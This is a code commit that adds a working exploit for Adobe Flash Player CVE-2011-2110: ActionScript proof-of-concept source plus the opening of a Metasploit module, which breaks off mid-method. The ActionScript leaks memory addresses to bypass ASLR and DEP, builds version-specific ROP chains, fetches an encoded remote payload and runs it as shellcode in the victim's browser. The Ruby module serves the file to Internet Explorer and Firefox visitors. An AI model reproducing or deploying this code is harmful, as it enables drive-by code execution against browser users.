added adobe flashplayer array indexing exploit (CVE-2011-2110)
parent
931f24b380
commit
fcf42d3e7b
Binary file not shown.
|
@ -0,0 +1,558 @@
|
|||
/*
|
||||
* poc exploit for CVE-2011-2110
|
||||
* thanks to AR Team (http://www.accessroot.com/arteam/site/download.php?view.331)
|
||||
* modified & verified safe code by mr_me - steventhomasseeley@gmail.com
|
||||
* bypasses aslr/dep
|
||||
* tested against IE/FF under WINXP/VISTA/WIN7
|
||||
* 19/6/2012
|
||||
*/
|
||||
|
||||
package
|
||||
{
|
||||
|
||||
import flash.display.*;
|
||||
import flash.events.*;
|
||||
import flash.external.*;
|
||||
import flash.net.*;
|
||||
import flash.system.*;
|
||||
import flash.utils.*;
|
||||
|
||||
// Main class
|
||||
public class Main extends MovieClip
|
||||
{
|
||||
public var content:ByteArray;
|
||||
public var pobj:uint;
|
||||
public var code:ByteArray;
|
||||
public var baseaddr:uint;
|
||||
public var content_len:uint;
|
||||
public var xchg_eax_esp_ret:uint;
|
||||
public var xchg_eax_esi_ret:uint;
|
||||
public var pop_eax_ret:uint;
|
||||
public var VirtualAlloc:uint;
|
||||
public var jmp_eax:uint;
|
||||
public var pop_ecx:uint;
|
||||
public var mov_eax_ecx:uint;
|
||||
public var inc_eax_ret:uint;
|
||||
public var dec_eax_ret:uint;
|
||||
public var to_eax:uint;
|
||||
public var virtualprotect:uint;
|
||||
|
||||
// Main function
|
||||
public function Main()
|
||||
{
|
||||
var i:uint;
|
||||
var loader:URLLoader;
|
||||
var onLoadComplete:Function;
|
||||
|
||||
// callback called when the download event is complete
|
||||
onLoadComplete = function (event:Event) : void
|
||||
{
|
||||
content = loader.data;
|
||||
i = 0;
|
||||
while (i < content.length)
|
||||
{
|
||||
// every byte of the file is XORed with 122
|
||||
content[i] = content[i] ^ 122;
|
||||
var _loc_4:* = i + 1;
|
||||
i = _loc_4;
|
||||
}
|
||||
|
||||
// then, the data is decompressed using zlib
|
||||
content.uncompress();
|
||||
content_len = content.length;
|
||||
|
||||
var _loc_2:* = new ByteArray();
|
||||
code = _loc_2;
|
||||
_loc_2.position = 1024 * 1024;
|
||||
_loc_2.writeInt(2053274210);
|
||||
_loc_2.writeInt(2053339747);
|
||||
_loc_2.writeInt(2053405283);
|
||||
_loc_2.writeObject(_loc_2);
|
||||
exploit(_loc_2, _loc_2);
|
||||
|
||||
// needed for stack alignment
|
||||
trace(_loc_2.length);
|
||||
return;
|
||||
}
|
||||
|
||||
var param:* = root.loaderInfo.parameters;
|
||||
|
||||
// Reads the "info" parameter from the HTML page
|
||||
var t_url:* = this.hexToBin(param["info"]);
|
||||
|
||||
// Decode the URL in the "info" parameter
|
||||
while (i < t_url.length)
|
||||
{
|
||||
t_url[i] = t_url[i] ^ 122;
|
||||
i = (i + 1);
|
||||
}
|
||||
|
||||
// Decompress the data using zlib
|
||||
t_url.uncompress();
|
||||
|
||||
// setup the error
|
||||
var error_arr:* = new ByteArray();
|
||||
error_arr.writeByte(2053208673);
|
||||
error_arr.writeObject(error_arr);
|
||||
|
||||
// Takes the userAgent from the request
|
||||
var browser:* = ExternalInterface.call("eval", "navigator.userAgent");
|
||||
|
||||
// we only target IE and FF...
|
||||
if (!(browser.toLowerCase().indexOf("msie") > 0 || browser.toLowerCase().indexOf("firefox") > 0))
|
||||
{
|
||||
// Error!
|
||||
error_arr.uncompress();
|
||||
}
|
||||
|
||||
// If it is a 64 bits process or is embedded in a PDF or if the Flash version is an un-official version (debug version)
|
||||
// http://help.adobe.com/en_US/AS2LCR/Flash_10.0/00000896.html
|
||||
if (Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
|
||||
{
|
||||
// Error!
|
||||
error_arr.uncompress();
|
||||
}
|
||||
|
||||
// Create the URLDownloader object
|
||||
var url_str:* = String(t_url);
|
||||
loader = new URLLoader();
|
||||
loader.dataFormat = URLLoaderDataFormat.BINARY;
|
||||
loader.addEventListener(Event.COMPLETE, onLoadComplete);
|
||||
loader.load(new URLRequest(t_url.toString()));
|
||||
return;
|
||||
}
|
||||
|
||||
// Converts from an hex string to binary representation
|
||||
public function hexToBin(param1:String) : ByteArray
|
||||
{
|
||||
var _loc_2:String = null;
|
||||
var _loc_3:* = new ByteArray();
|
||||
var _loc_4:* = param1.length;
|
||||
var _loc_5:uint = 0;
|
||||
_loc_3.endian = Endian.LITTLE_ENDIAN;
|
||||
while (_loc_5 < _loc_4)
|
||||
{
|
||||
_loc_2 = param1.charAt(_loc_5) + param1.charAt((_loc_5 + 1));
|
||||
_loc_3.writeByte(parseInt(_loc_2, 16));
|
||||
_loc_5 = _loc_5 + 2;
|
||||
}
|
||||
return _loc_3;
|
||||
}
|
||||
|
||||
// the exploitation function
|
||||
public function exploit(... args) : void
|
||||
{
|
||||
var _loc_8:uint = 0;
|
||||
|
||||
// First leak
|
||||
// this leak gets the baseaddress of Flash10s.ocx
|
||||
var n1:Number= new Number(parseFloat(String(args[1073741841])));
|
||||
var _loc_3:* = new ByteArray();
|
||||
_loc_3.position = 0;
|
||||
_loc_3.writeDouble(n1);
|
||||
var _loc_4:* = _loc_3[0] * 16777216 + _loc_3[1] * 65536 + _loc_3[2] * 256 + _loc_3[3];
|
||||
|
||||
// Base address
|
||||
this.baseaddr = _loc_4;
|
||||
this.code.position = 0;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeInt((this.pobj - 1) + 16 + 1024 * 4 * 100);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.writeUnsignedInt(0x41424344);
|
||||
this.code.writeUnsignedInt(0x41424344);
|
||||
this.code.writeUnsignedInt(0x45464748);
|
||||
|
||||
// With this loop, we store the 0x41414141 in the stack
|
||||
_loc_8 = 0;
|
||||
while (_loc_8 < 1024 * 100)
|
||||
{
|
||||
this.code.writeUnsignedInt(0x41414141);
|
||||
_loc_8 = _loc_8 + 1;
|
||||
}
|
||||
|
||||
// Test for the vulnerable versions of Flash
|
||||
// Different test are done to calculate the ROP gadgets for every vulnerable version
|
||||
if (Capabilities.version.toLowerCase() == "win 10,3,181,14" || Capabilities.version.toLowerCase() == "win 10,3,181,22" || Capabilities.version.toLowerCase() == "win 10,3,181,23")
|
||||
{
|
||||
if (Capabilities.version.toLowerCase() == "win 10,3,181,14")
|
||||
{
|
||||
if (Capabilities.playerType.toLowerCase() == "activex")
|
||||
{
|
||||
this.xchg_eax_esp_ret = this.baseaddr - 4147053;
|
||||
this.xchg_eax_esi_ret = this.baseaddr - 3142921;
|
||||
this.pop_eax_ret = this.baseaddr - 4217672;
|
||||
this.VirtualAlloc = this.baseaddr + 681970 + 52;
|
||||
this.jmp_eax = this.baseaddr - 4189983;
|
||||
this.pop_ecx = this.baseaddr - 4217760;
|
||||
this.mov_eax_ecx = this.baseaddr - 3903324;
|
||||
this.inc_eax_ret = this.baseaddr - 4217676;
|
||||
this.dec_eax_ret = this.baseaddr - 3914790;
|
||||
this.to_eax = this.baseaddr - 3857175;
|
||||
this.virtualprotect = this.baseaddr + 681970;
|
||||
}
|
||||
if (Capabilities.playerType.toLowerCase() == "plugin")
|
||||
{
|
||||
this.xchg_eax_esp_ret = this.baseaddr - 4070001;
|
||||
this.xchg_eax_esi_ret = this.baseaddr - 3066633;
|
||||
this.pop_eax_ret = this.baseaddr - 4140104;
|
||||
this.VirtualAlloc = this.baseaddr + 681682;
|
||||
this.jmp_eax = this.baseaddr - 4112415;
|
||||
this.pop_ecx = this.baseaddr - 4140192;
|
||||
this.mov_eax_ecx = this.baseaddr - 3826124;
|
||||
this.inc_eax_ret = this.baseaddr - 4140108;
|
||||
this.dec_eax_ret = this.baseaddr - 3988570;
|
||||
this.to_eax = this.baseaddr - 3779959;
|
||||
this.virtualprotect = this.baseaddr + 681434;
|
||||
}
|
||||
if (!(Capabilities.playerType.toLowerCase() == "plugin" || Capabilities.playerType.toLowerCase() == "activex"))
|
||||
{
|
||||
this.code.uncompress();
|
||||
}
|
||||
}
|
||||
if (Capabilities.version.toLowerCase() == "win 10,3,181,22")
|
||||
{
|
||||
if (Capabilities.playerType.toLowerCase() == "activex")
|
||||
{
|
||||
this.code.uncompress();
|
||||
}
|
||||
if (Capabilities.playerType.toLowerCase() == "plugin")
|
||||
{
|
||||
this.xchg_eax_esp_ret = this.baseaddr - 4070081;
|
||||
this.xchg_eax_esi_ret = this.baseaddr - 3066633;
|
||||
this.pop_eax_ret = this.baseaddr - 4140184;
|
||||
this.VirtualAlloc = this.baseaddr + 681602;
|
||||
this.jmp_eax = this.baseaddr - 4112495;
|
||||
this.pop_ecx = this.baseaddr - 4140272;
|
||||
this.mov_eax_ecx = this.baseaddr - 3826412;
|
||||
this.inc_eax_ret = this.baseaddr - 4140188;
|
||||
this.dec_eax_ret = this.baseaddr - 3988622;
|
||||
this.to_eax = this.baseaddr - 3780231;
|
||||
this.virtualprotect = this.baseaddr + 681354;
|
||||
}
|
||||
if (!(Capabilities.playerType.toLowerCase() == "plugin" || Capabilities.playerType.toLowerCase() == "activex"))
|
||||
{
|
||||
this.code.uncompress();
|
||||
}
|
||||
}
|
||||
if (Capabilities.version.toLowerCase() == "win 10,3,181,23")
|
||||
{
|
||||
if (Capabilities.playerType.toLowerCase() == "activex")
|
||||
{
|
||||
this.xchg_eax_esp_ret = this.baseaddr - 4147431;
|
||||
this.xchg_eax_esi_ret = this.baseaddr - 3143049;
|
||||
this.pop_eax_ret = this.baseaddr - 4218184;
|
||||
this.VirtualAlloc = this.baseaddr + 681510;
|
||||
this.jmp_eax = this.baseaddr - 4190495;
|
||||
this.pop_ecx = this.baseaddr - 4218272;
|
||||
this.mov_eax_ecx = this.baseaddr - 3903692;
|
||||
this.inc_eax_ret = this.baseaddr - 4218188;
|
||||
this.dec_eax_ret = this.baseaddr - 3915158;
|
||||
this.to_eax = this.baseaddr - 3857511;
|
||||
this.virtualprotect = this.baseaddr + 681458;
|
||||
}
|
||||
if (Capabilities.playerType.toLowerCase() == "plugin")
|
||||
{
|
||||
this.code.uncompress();
|
||||
}
|
||||
if (!(Capabilities.playerType.toLowerCase() == "plugin" || Capabilities.playerType.toLowerCase() == "activex"))
|
||||
{
|
||||
this.code.uncompress();
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
this.code.uncompress();
|
||||
}
|
||||
|
||||
// rop
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.inc_eax_ret + 1));
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.pop_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.xchg_eax_esp_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.xchg_eax_esi_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.pop_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.VirtualAlloc);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.jmp_eax);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.pop_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(0);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(131072);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(4096);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(64);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.writeUnsignedInt(2421721856);
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.mov_eax_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.pop_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.writeUnsignedInt(1435233421);
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.mov_eax_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.pop_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.writeUnsignedInt(1074135008);
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.mov_eax_ecx);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.inc_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.dec_eax_ret);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.to_eax);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(this.virtualprotect);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.pobj - 1) + 16 + 1024 * 4 * 100 + 292);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.pobj - 1) + 16 + 1024 * 4 * 100 + 292);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(131072);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(64);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.pobj - 1) + 4);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
|
||||
// previous pe loader stub removed, just to be safe
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
this.code.writeUnsignedInt(0x90909090);
|
||||
|
||||
// shellcode
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.writeBytes(this.content, 0, this.content.length);
|
||||
|
||||
// Second leak
|
||||
var _loc_5:Number = new Number(parseFloat(String(args[0x3FFFFFAD])));
|
||||
|
||||
var _loc_6:* = new ByteArray();
|
||||
_loc_6.position = 0;
|
||||
_loc_6.writeDouble(_loc_5);
|
||||
var _loc_7:* = _loc_6[0] * 16777216 + _loc_6[1] * 65536 + _loc_6[2] * 256 + _loc_6[3];
|
||||
this.pobj = _loc_7;
|
||||
|
||||
_loc_8 = 0;
|
||||
this.pobj = this.pobj + 0x37;
|
||||
|
||||
// with this loop, we store a reference for the leaked address in the stack
|
||||
_loc_8 = 0;
|
||||
while (_loc_8 < 100)
|
||||
{
|
||||
this.code.writeInt(this.pobj);
|
||||
_loc_8 = _loc_8 + 1;
|
||||
}
|
||||
|
||||
// third leak
|
||||
var _loc_9:Number = new Number(parseFloat(String(args[0x3FFFFFB9])));
|
||||
var _leak_3:* = new ByteArray();
|
||||
_leak_3.position = 0;
|
||||
_leak_3.writeDouble(_loc_9);
|
||||
_loc_4 = _leak_3[0] * 16777216 + _leak_3[1] * 65536 + _leak_3[2] * 256 + _leak_3[3];
|
||||
this.pobj = _loc_4 + 2;
|
||||
|
||||
// dont remove, the stack will change
|
||||
ExternalInterface.call("", "");
|
||||
|
||||
// again, a reference to the leaked address is stored in the stack
|
||||
_loc_8 = 0;
|
||||
while (_loc_8 < 100)
|
||||
{
|
||||
this.code.writeInt(this.pobj);
|
||||
_loc_8 = _loc_8 + 1;
|
||||
}
|
||||
|
||||
this.code.position = 0;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeInt((this.pobj - 1) + 16 + 1024 * 4 * 100);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.position = 409872;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.pobj - 1) + 16 + 1024 * 4 * 100 + 292);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.pobj - 1) + 16 + 1024 * 4 * 100 + 292);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(131072);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt(64);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
this.code.endian = Endian.LITTLE_ENDIAN;
|
||||
this.code.writeUnsignedInt((this.pobj - 1) + 4);
|
||||
this.code.endian = Endian.BIG_ENDIAN;
|
||||
|
||||
// This is the trigger.
|
||||
Number(args[0x3FFFFFB9]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
|
||||
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
|
||||
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
|
||||
vulnerability that was used for attacks against Korean based organisations.
|
||||
|
||||
Specifically, this issue occurs when indexing an array using an arbitrary value,
|
||||
memory can be referenced and later executed. Taking advantage of this issue does not rely
|
||||
on heap spraying as the vulnerability can also be used for information leakage.
|
||||
|
||||
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
|
||||
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
|
||||
is very reliable.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
|
||||
'Unknown' # malware version seen used in targeted attacks
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-2110'],
|
||||
['OSVDB', '48268'],
|
||||
['URL', 'http://www.adobe.com/devnet/swf.html'],
|
||||
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
|
||||
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
|
||||
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'HTTP::compression' => 'gzip',
|
||||
'HTTP::chunked' => true,
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {}],
|
||||
],
|
||||
'DisclosureDate' => 'Jun 21 2012',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
|
||||
# full aslr/dep bypass using the info leak as per malware
|
||||
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
|
||||
fd = File.open( path, "rb" )
|
||||
@swf = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
super
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
if agent =~ /MSIE/
|
||||
return targets[0] # ie 6/7/8 tested working
|
||||
elsif agent =~ /Firefox/
|
||||
return targets[0] # ff 10.2 tested working
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
my_target = get_target(agent)
|
||||
|
||||
